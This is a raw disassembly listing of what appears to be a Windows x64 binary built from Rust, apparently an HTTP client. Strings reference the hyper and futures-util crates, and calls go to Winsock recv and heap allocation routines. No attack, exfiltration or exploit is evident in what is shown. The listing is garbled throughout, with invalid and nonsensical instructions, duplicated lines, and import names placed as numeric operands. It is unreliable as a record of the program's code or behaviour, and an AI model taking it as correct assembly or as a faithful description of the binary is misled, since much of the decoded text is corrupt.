movups xmmword [rbp + 0x2e0], xmm1
movups xmmword [rbp + 0x2f0], xmm2
movups xmmword [rbp + 0x300], xmm3
movaps xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [rbp + 0x190]
movups xmmword [rbp + 0x320], xmm0
movaps xmm0, xmmword [rbp + 0x1a0]
movups xmmword [rbp + 0x330], xmm0
movaps xmm0, xmmword [rbp + 0x1b0]
movups xmmword [rbp + 0x358], xmm0
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x3c0], rax
movaps xmm0, xmmword [rbp + 0x90]
movups xmmword [rbp + 0x3b0], xmm0
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmm2, xmmword [rbp + 0x70]
movaps xmm3, xmmword [rbp + 0x80]
movups xmmword [rbp + 0x3a0], xmm3
movups xmmword [rbp + 0x390], xmm2
movups xmmword [rbp + 0x380], xmm1
movups xmmword [rbp + 0x370], xmm0
lea rcx, [rbp + 0x490]
lea rdx, [rbp + 0x2c0]
call fcn.1400b95c0
mov rcx, rdi
call fcn.1400dac00
cmp dword [r13], 2
je 0x1400dfe88
mov rcx, r13
call fcn.1400b7da0
mov cl, 1
xor eax, eax
mov r13, qword [rbp + 0x528]
test r15, r15
jne 0x1400df9fe
jmp 0x1400dfa04
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
mov r13, qword [rbp + 0x528]
je 0x1400e04f9
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e04f9
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
xorps xmm0, xmm0
movups xmmword [rax + 0x30], xmm0
lock inc qword [rax]
jle 0x1400e0544
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0x3e0], rax
movaps xmm0, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x3d0], xmm0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400dff5d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e050a
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x50
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
or byte [rax], al
test rax, rax
je 0x1400e050a
mov rcx, qword [rbp + 0x3f0]
mov qword [rax + 0x20], rcx
movaps xmm0, xmmword [rbp + 0x3d0]
movaps xmm1, xmmword [rbp + 0x3e0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [0x1401d3af8]
mov qword [rax + 0x28], rcx
lea rdx, [0x140204680]
mov qword [rax + 0x30], rdx
xorps xmm0, xmm0
movups xmmword [rax + 0x38], xmm0
mov qword [rax + 0x48], rbx
mov qword [rbp + 0x220], rax
lea rax, [0x1401d60b8]
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x230], rcx
mov qword [rbp + 0x238], rdx
movups xmmword [rbp + 0x240], xmm0
lea rdx, [rbp + 0x220]
mov rcx, r14
call fcn.140087560
lea rcx, [rbp + 0x320]
mov edx, 1
mov r8, r14
call fcn.1400e05a0
test rax, 0xfffffffffffffffd
jne 0x1400e01fb
movaps xmm0, xmmword [rbp + 0x320]
movaps xmmword [rbp + 0x460], xmm0
movaps xmm0, xmmword [rbp + 0x310]
movaps xmmword [rbp + 0x450], xmm0
movaps xmm0, xmmword [rbp + 0x300]
movaps xmmword [rbp + 0x440], xmm0
movaps xmm0, xmmword [rbp + 0x2c0]
movaps xmm1, xmmword [rbp + 0x2d0]
movaps xmm2, xmmword [rbp + 0x2e0]
movaps xmm3, xmmword [rbp + 0x2f0]
movaps xmmword [rbp + 0x430], xmm3
movaps xmmword [rbp + 0x420], xmm2
movaps xmmword [rbp + 0x410], xmm1
movaps xmmword [rbp + 0x400], xmm0
mov rbx, qword [rbp + 0x330]
mov r12, qword [rbp + 0x338]
mov rdi, qword [rbp + 0x340]
movups xmm0, xmmword [rbp + 0x348]
movaps xmmword [rbp + 0x130], xmm0
mov rax, qword [rbp + 0x358]
movaps xmm0, xmmword [rbp + 0x400]
movaps xmm1, xmmword [rbp + 0x410]
movaps xmm2, xmmword [rbp + 0x420]
movaps xmm3, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x150], xmm1
movaps xmmword [rbp + 0x160], xmm2
movaps xmmword [rbp + 0x170], xmm3
movaps xmm0, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0x180], xmm0
movaps xmm0, xmmword [rbp + 0x450]
movaps xmmword [rbp + 0x190], xmm0
movaps xmm0, xmmword [rbp + 0x460]
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmm0, xmmword [rbp + 0x130]
movaps xmmword [rbp + 0x1b0], xmm0
mov rcx, qword [r13]
mov qword [r13], 2
cmp rcx, 2
je 0x1400e04df
mov qword [rbp + 0x490], rcx
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp + 0x498], xmm0
movaps xmm0, xmmword [rbp + 0x1a0]
movups xmmword [rbp + 0x330], xmm0
movaps xmm0, xmmword [rbp + 0x190]
movups xmmword [rbp + 0x320], xmm0
movaps xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [rbp + 0x140]
movaps xmm1, xmmword [rbp + 0x150]
movaps xmm2, xmmword [rbp + 0x160]
movaps xmm3, xmmword [rbp + 0x170]
movups xmmword [rbp + 0x300], xmm3
movups xmmword [rbp + 0x2f0], xmm2
movups xmmword [rbp + 0x2e0], xmm1
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x340], rbx
mov qword [rbp + 0x348], r12
mov qword [rbp + 0x350], rdi
movaps xmm0, xmmword [rbp + 0x1b0]
movups xmmword [rbp + 0x358], xmm0
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x2c8], 4
lea rcx, [rbp + 0x490]
lea rdx, [rbp + 0x2c0]
call fcn.1400b95c0
mov rdi, qword [rbp + 0x518]
mov rcx, rdi
call fcn.1400dac00
cmp dword [r13], 2
jne 0x1400dfe80
jmp 0x1400dfe88
mov r14, rdx
test rdx, rdx
je 0x1400e000e
mov rax, qword [r14 + 0x30]
nop dword [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x1400e0210
and eax, 0xa
cmp eax, 8
jne 0x1400e0232
mov rax, qword [r14 + 0x10]
mov rcx, qword [r14 + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [r14]
jne 0x1400e000e
mov rcx, r14
call fcn.140087480
jmp 0x1400e000e
call fcn.1401666c0
mov r15d, eax
xor r15b, 1
movzx eax, byte [rbx + 0x18]
test al, al
je 0x1400df7c4
mov qword [rbp + 0x2c0], r14
mov byte [rbp + 0x2c8], r15b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2ping.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401aa8e0]
lea r8, [rbp + 0x2c0]
mov edx, 0x2b
call fcn.140161200
ud2
call fcn.1401666c0
test al, al
jne 0x1400df7f1
mov byte [rbx + 0x18], 1
jmp 0x1400df7f1
mov byte [rsi + 0x98], 2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_futuremap.rs
mov edx, 0x28
call fcn.140160fb0
ud2
lea rcx, str.polled_after_complete
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientdispatch.rsenvelope_not_dropped
mov edx, reloc.WS2_32.dll_setsockopt
call fcn.140161290
ud2
lea rcx, str.polled_after_complete
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientdispatch.rsenvelope_not_dropped
mov edx, reloc.WS2_32.dll_setsockopt
call fcn.140161290
ud2
mov ecx, 8
mov edx, WSAStartup
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x50
call fcn.14015d7f0
ud2
ud2
mov rcx, qword [rbx + 8]
call qword [rax + reloc.WS2_32.dll_recv]
mov sil, 1
jmp fcn.1400e0b58
test al, 8
jne 0x1400e0a21
test al, 8
je 0x1400e0a92
jmp 0x1400e0ac7
mov rdx, qword [rsi]
mov rcx, qword [rdx + 8]
cmp rcx, qword [rdi + 0x18]
jne 0x1400e0a69
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdx]
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rdx]
pcmpeqd xmm1, xmm0
pshufd xmm0, xmm1, 0xb1
pand xmm0, xmm1
movmskpd r8d, xmm0
cmp r8d, 3
jne 0x1400e0a69
mov r8, qword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x1400e0a69
mov rcx, qword [rcx + 0x18]
cmp rcx, qword [rdx + 0x18]
je 0x1400e0a18
mov rax, qword [rdi + 0x30]
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400e0a70
test al, 4
jne 0x1400e0b50
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
call qword [rax + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rdx
mov rax, qword [rdi + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 8
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400e0ab0
test al, 4
jne 0x1400e0b56
mov sil, 1
test bpl, bpl
je fcn.1400e0b58
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400e0b23
test eax, eax
jne fcn.1400e0b58
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
cmp al, 0xc1
cmp al, 0xc1
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xdc], 1
mov byte [rax + 0xdd], bl
jmp fcn.1400e0b58
lock or qword [rdi + 0x30], 8
xor esi, esi
mov dword [rax - 6], ebp
call qword [rax + 0x28c48348]
pop rdi
pop rsi
ret
mov edi, 0x48fffd96
mov ecx, esi
call fcn.1400776a0
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400e0c5a
mov rcx, rsi
call case.0x140065142.1954
mov rax, qword [rsi + 0x10]
lock dec qword [rax]
jne 0x1400e0c6d
mov rcx, qword [rsi + 0x10]
call fcn.1400e1650
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.14007e1f0
mov rcx, rdi
call fcn.1400776a0
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x1400e0c93
mov rcx, rdi
call case.0x140065142.1954
mov rax, qword [rsi + 0x28]
mov rdx, qword [rsi + 0x30]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x38]
add rsi, 0x40
mov rcx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400e0f25
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400e0f13
cmp qword [rbx + 0x10], 0x11
jb 0x1400e0f01
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
xor eax, eax
mov rdx, rbx
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
push rsp
and al, 0x38
mov r8, rdi
jmp 0x1400e0da4
in eax, dx
invalid
int3
sub esp, 0x30
movaps xmmword [rsp + 0x20], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
test al, 8
je 0x1400e21fc
xchg esp, eax
add dword [rax], eax
invalid
xchg esp, eax
add dword [rax], eax
add byte [rax + 0x48137502], ch
mov rcx, rax
test al, 2
jne 0x1400e207f
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
jne 0x1400e2060
jmp fcn.1400e217d
add byte [rax], al
add byte [rax - 0x75], cl
jle 0x1400e20ab
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400e20d6
xorps xmm6, xmm6
test eax, eax
jne 0x1400e2102
pop rcx
pop rcx
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
xor r10, qword [r11]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rbx + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rdi
lea rcx, [rsi + 0x30]
call fcn.1400e25d0
mov qword [rsi + 0x30], 3
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0xe0]
and al, 0
add byte [rax], al
cmp eax, 1
je 0x1400e2163
test eax, eax
jne fcn.1400e217d
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
and eax, 0x58
sal byte [rdx], 0x13
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
and eax, 0x58
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
ror dword [rax - 0x73], 0x8f
nop
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x1401438a0]
lea rdx, [0x1401438a0]
call fcn.14012dc40
in al, 0xba
add al, 0
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x1401e09e8]
mov edx, 0x2b
call fcn.140160fb0
ud2
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400e2a69
xorps xmm6, xmm6
test eax, eax
jne 0x1400e2a95
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
mov eax, dword [0x1402153fc]
add eax, 0x13298d
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rbx
mov dword [rax + 0xb8], ebx
mov dword [rax + 0xb8], ebx
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400ded00
mov ebx, eax
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400e2af5
test eax, eax
jne 0x1400e2b11
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
mov al, 1
test bl, bl
je 0x1400e2cad
xchg esp, eax
add dword [rax], eax
invalid
mov rax, qword [rsi]
jmp 0x1400e2b3e
cmp rcx, 0x3f
jbe 0x1400e306f
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rsi], rcx
je 0x1400e2b6f
test al, 1
je 0x1400e3089
test al, 0x20
jne 0x1400e2de3
invalid
xchg ebp, eax
add al, byte [rax]
invalid
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
je 0x1400e2b20
test rcx, rcx
js 0x1400e30a3
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rsi], rcx
jne 0x1400e2b3e
cmp dl, 2
je 0x1400e2bc7
movzx eax, dl
cmp eax, 1
jne 0x1400e2faa
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.14014a490
add byte [rax - 0x39], cl
rol al, 0xff
invalid
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400e30f6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400e2faa
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400e2bc2
call fcn.140005950
mov rcx, rdi
jmp 0x1400e2bde
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400e2bda
lea rcx, [rsi + 0x20]
call fcn.140005950
lea rcx, [rsi + 0x30]
call fcn.1400e25d0
mov rax, qword [rsi + 0xe8]
test rax, rax
je 0x1400e2bf9
mov rcx, qword [rsi + 0xf0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
invalid
adc eax, dword [rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400e2faa
mov rbx, qword [rsi + 0x28]
cmp al, 1
je 0x1400e2ced
movzx eax, al
xorps xmm6, xmm6
test eax, eax
jne 0x1400e2d19
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
nop
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x60bc0
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
xor byte [rax + 0x1000000], 0
add byte [rax], al
mov qword [rax + 0xb8], rbx
mov rcx, rdi
call fcn.1400e25d0
mov qword [rdi], 3
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400e2d7c
test eax, eax
jne 0x1400e300a
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rbx + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rbx
mov rcx, rdi
call fcn.1400e25d0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], 0
jmp 0x1400e2f38
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400e2e3b
xorps xmm6, xmm6
test eax, eax
jne 0x1400e2e67
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rbx
mov rcx, rdi
call fcn.1400e25d0
mov qword [rdi], 3
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400e2eca
test eax, eax
jne 0x1400e2fbf
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
sbb al, 0xc1
lea rcx, [rbx + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rbx + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
add byte [rax], al
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rbx
mov rcx, rdi
call fcn.1400e25d0
invalid
dec dword [rax - 0x39]
xor byte [rdx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x50], rbx
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400e2f88
test eax, eax
jne 0x1400e2fa2
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xb0
add byte [rax], al
invalid
mov rcx, rsi
call fcn.1400e3700
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x1400e2ee8
xorps xmm6, xmm6
test eax, eax
jne 0x1400e2f14
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
jmp 0x1400e2ee8
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x1400e2d9a
xorps xmm6, xmm6
test eax, eax
jne 0x1400e2dc6
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
jmp 0x1400e2d9a
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401e0bb0]
mov edx, 0x26
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401e0890]
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401e0b70]
mov edx, 0x2f
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r14
pop r15
ret
cmp byte [rsp + 0x90], 2
je 0x1400e45e5
lea rcx, [rsp + 0x88]
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x1400e45e5
inc dword [rcx]
jne 0x1400e4624
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 0xb8]
cmp rax, 7
ja 0x1400e488b
mov ecx, 0xa2
bt rcx, rax
jae 0x1400e488b
xor r12d, r12d
xor esi, esi
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x1400e456f
lea rcx, [rsp + 0x90]
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, 1
test sil, sil
je 0x1400e4a8a
test r15, r15
je 0x1400e460a
lea rax, str.BodyLength::Unknown_would_set_chunked
mov qword [rsp + 0xd0], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x20], 1
lea rdx, str.internal_error:_entered_unreachable_code:
lea rsi, [rsp + 0x70]
lea r9, [rsp + 0xd0]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1_role.rs
mov rcx, rsi
call fcn.140160e20
ud2
mov qword [rsp + 0xd0], 1
mov qword [rsp + 0xd8], 0
mov byte [rsp + 0xe0], 0
jmp 0x1400e4ab8
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x28]
mov r8, rdi
call fcn.14008f420
jmp 0x1400e4ab8
mov sil, 1
mov rax, qword [rsp + 0x78]
test rax, rax
jne 0x1400e4554
jmp 0x1400e456f
and al, 0x18
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + riz], fs
add dword [rax], eax
add byte [rax - 0x7d], cl
rol byte [rdx], 0x48
mov dword [rsp + 0x38], eax
sub rcx, rax
jb 0x1400e5979
mov qword [rsp + 0x118], rax
cmp rcx, 6
ja 0x1400e4794
lea rcx, [rsp + 0x110]
mov edx, 7
call fcn.1400175d0
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x110]
mov dword [rcx + rax + 3], 0x64656b6e
outsb dx, byte [rsi]
imul esp, dword [rbp + 0x64], 0xffffffc7
add al, 1
invalid
push 0xffffffff8b4c6e75
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x20
add dword [rax], eax
add byte [rcx - 0x7d], cl
rol byte [rdi], 0x4c
mov dword [rsp + 0x38], eax
cmp r8, r13
ja 0x1400e5979
mov qword [rsp + 0x118], r8
mov rdi, qword [rsp + 0x110]
mov rsi, qword [rsp + 0x128]
test sil, 1
jne 0x1400e47f7
lea r9, [0x1401e17a0]
jmp 0x1400e490a
shr rsi, 5
sub rdi, rsi
lea r15, [rsi + r8]
cmp r8, r13
jne 0x1400e482d
test r15, r15
je 0x1400e48d1
test dil, 1
jne 0x1400e48e6
mov rax, rdi
or rax, 1
lea r9, [0x1401a9358]
jmp 0x1400e48f0
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400e4859
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400e5a55
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400e5a55
add r13, rsi
mov qword [rax], rdi
mov qword [rax + 8], r13
mov qword [rax + 0x10], 1
lea r9, [0x140169c10]
jmp 0x1400e48f0
lea rax, [0x1401d3af8]
mov qword [rsp + 0x40], rax
lea rax, str.chunkedoriginal_header_value_plus_ascii_is_validC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcheaders.rs
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 7
mov qword [rsp + 0x58], 0
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x40]
call fcn.1400886f0
jmp 0x1400e4a88
lea r9, [0x1401d3af8]
lea rdi, [0x140204680]
xor eax, eax
xor r15d, r15d
jmp 0x1400e48f0
lea r9, [0x1401a9370]
mov rax, rdi
mov qword [rsp + 0x140], rsi
mov r8, r15
sub r8, rsi
jb 0x1400e59ef
add rdi, rsi
mov rsi, rax
mov qword [rsp + 0x70], r9
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], r8
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x88], rsi
xor eax, eax
nop
cmp r8, rax
je 0x1400e4989
movzx r11d, byte [rdi + rax]
cmp r11b, 0x20
setae dl
cmp r11b, 0x7f
setne r10b
inc rax
cmp r11b, 9
je 0x1400e4930
and dl, r10b
jne 0x1400e4930
mov rdx, rdi
call qword [r9 + reloc.WS2_32.dll_recv]
lea rax, [0x1401ab410]
mov qword [rsp + 0x20], rax
lea rcx, [0x1401ab387]
lea r9, [0x1401aa7c0]
lea r8, [rsp + 0x6f]
mov edx, 0x29
call fcn.140161200
ud2
movups xmm0, xmmword [rsp + 0x70]
